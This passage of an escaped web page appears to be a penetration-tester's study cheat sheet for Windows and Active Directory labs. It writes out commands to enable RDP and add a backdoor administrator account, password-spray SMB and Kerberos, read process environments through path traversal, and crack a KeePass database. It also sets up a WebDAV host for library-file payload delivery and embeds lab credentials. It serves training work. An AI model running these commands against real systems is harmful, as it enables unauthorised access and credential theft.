id="68windows-add-a-user-to-the-remote-desktop-users-group"&gt;&lt;a href="#68windows-add-a-user-to-the-remote-desktop-users-group" class="header-anchor"&gt;&lt;/a&gt;68.Windows: Add a User to the Remote Desktop Users Group&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#Enable Remote Desktop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&amp;#34; &amp;#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net user gesila Admin@123 /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net localgroup Administrators gesila /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cmd /c net localgroup &amp;#34;Remote Desktop Users&amp;#34; gesila /add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Domain format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:medtech.com\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local format&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reference the file as follows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;xfreerdp file.rdp /d:skylark /u:kiosk /p:&amp;#39;XEwUS^9R2Gwt8O914&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="69windows_history"&gt;&lt;a href="#69windows_history" class="header-anchor"&gt;&lt;/a&gt;69.windows_history&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\wario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="70powershell"&gt;&lt;a href="#70powershell" class="header-anchor"&gt;&lt;/a&gt;70.powershell&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$pass = ConvertTo-SecureString &amp;#34;W3_4R3_th3_f0rce.&amp;#34; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$cred = New-Object System.Management.Automation.PSCredential(&amp;#34;ACUTE\imonks&amp;#34;, $pass)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New-PSSession -ComputerName 172.16.131.83 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Enter an existing session by session ID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -Session (Get-PSSession -Id 18)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Or use ComputerName to create and enter a new session directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter-PSSession -ComputerName CLIENT02 -Credential $cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all sessions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-PSSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Remove a session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remove-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Disconnect a session without removing it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Disconnect-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reconnect a session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Connect-PSSession -Id 18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls .\auditTracker.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View detailed permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Acl .\auditTracker.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run with elevated privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc.exe start audtiTracker&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc.exe qc auditTracker&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View the privileges under which the file runs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Process .\auditTracker.exe -Verb RunAs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service auditTracker | Select-Object *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Get-Service &amp;#34;auditTracker&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ScheduledTask | Where-Object {$_.State -eq &amp;#39;Ready&amp;#39;} | Select TaskPath,TaskName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;TASK_NAME&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$task = Get-ScheduledTask -TaskName &amp;#34;TASK_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$task | Select *&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="71domain-enumeration"&gt;&lt;a href="#71domain-enumeration" class="header-anchor"&gt;&lt;/a&gt;71.Domain Enumeration&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;ve used both of these for a long time, but some parameters differ between versions, so I&amp;rsquo;m writing them all down here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# crackmapexec has delay issues and jitter causes errors; netexec works better&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sometimes &amp;#34;Connection Error: Error while reading from remote&amp;#34; requires manual verification&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Full arguments; a domain can be specified&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 192.168.50.75 -u users.txt -p &amp;#39;Nexus123!&amp;#39; -d corp.com --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ropnop/kerbrute/releases&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For Kerberos brute forcing&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt &amp;#34;Nexus123!&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This can run on a domain member host&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="72other-uses-for-vulnerabilities"&gt;&lt;a href="#72other-uses-for-vulnerabilities" class="header-anchor"&gt;&lt;/a&gt;72.Other Uses for Vulnerabilities&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Read the identity of the user running the program&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;keepass2john Database.kdbx &amp;gt; 1.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;keepassxc Database.kdbx&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="73imap"&gt;&lt;a href="#73imap" class="header-anchor"&gt;&lt;/a&gt;73.IMAP&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IMAP commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Log in first&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all mailboxes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a002 LIST &amp;#34;&amp;#34; &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Select the inbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a003 SELECT INBOX&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View messages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a004 FETCH 1:* FULL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a005 STATUS INBOX (MESSAGES)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all folders&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a006 LSUB &amp;#34;&amp;#34; &amp;#34;*&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="74library-ms-file-attack"&gt;&lt;a href="#74library-ms-file-attack" class="header-anchor"&gt;&lt;/a&gt;74.Library-MS File Attack&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="75postgres"&gt;&lt;a href="#75postgres" class="header-anchor"&gt;&lt;/a&gt;75.postgres&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/renhaoblog/p/15035230.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psql -h localhost -p 5432 -U postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specify the database name (the default is the postgres database)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo /usr/bin/psql postgres&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo -u postgres /usr/bin/psql 